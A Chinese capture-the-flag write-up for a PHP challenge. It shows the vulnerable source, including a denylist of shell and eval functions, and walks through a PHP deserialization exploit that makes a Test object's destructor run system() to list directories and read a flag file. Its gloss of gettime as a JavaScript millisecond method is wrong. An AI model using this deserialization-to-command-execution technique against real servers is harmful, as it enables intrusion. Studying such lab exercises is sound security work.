这个页面没啥东西,我们看一下网页源代码,我们发现input两个值
同样抓包看一下
这里func后面的值很可疑我们去查一下
这是一个函数,那么有可能,这个后面可以执行函数,而这个p里面就是函数执行的值
那么我们可以修改一下这两个参数的值
func=readfile&p=index.php
func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
我们开始读代码,看看这都是什么东西
strtolower() 函数把字符串转换为小写。
in_array() 函数搜索数组中是否存在指定的值。
getTime() 方法可返回距 1970 年 1 月 1 日之间的毫秒数。
__destruct()当删除一个对象或对象操作终止时被调用。
call_user_func(函数, 参数),返回值为函数执行参数后的结果
虽然过滤了很多但是还是没有过滤unserialize
那么我们就可以开始构造序列化了,system() 输出并返回最后一行shell结果。
<?php
class Test{
var $p = "ls";
var $func = "system";
}
$Test = new Test;
echo serialize($Test);
?>
再次序列化
<?php
class Test{
var $p = "ls /";
var $func = "system";
}
$Test = new Test;
echo serialize($Test);
?>
由于服务器是linux系统的我们使用查找命令find / -name flag*,再次构造序列化
<?php
class Test{
var $p = "find / -name flag*";
var $func = "system";
}
$Test = new Test;
echo serialize($Test);
?>
我们不断的去尝试,flag存在哪里,就需要构造序列化
<?php
class Test{
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$Test = new Test;
echo serialize($Test);
?>
这就得到了flag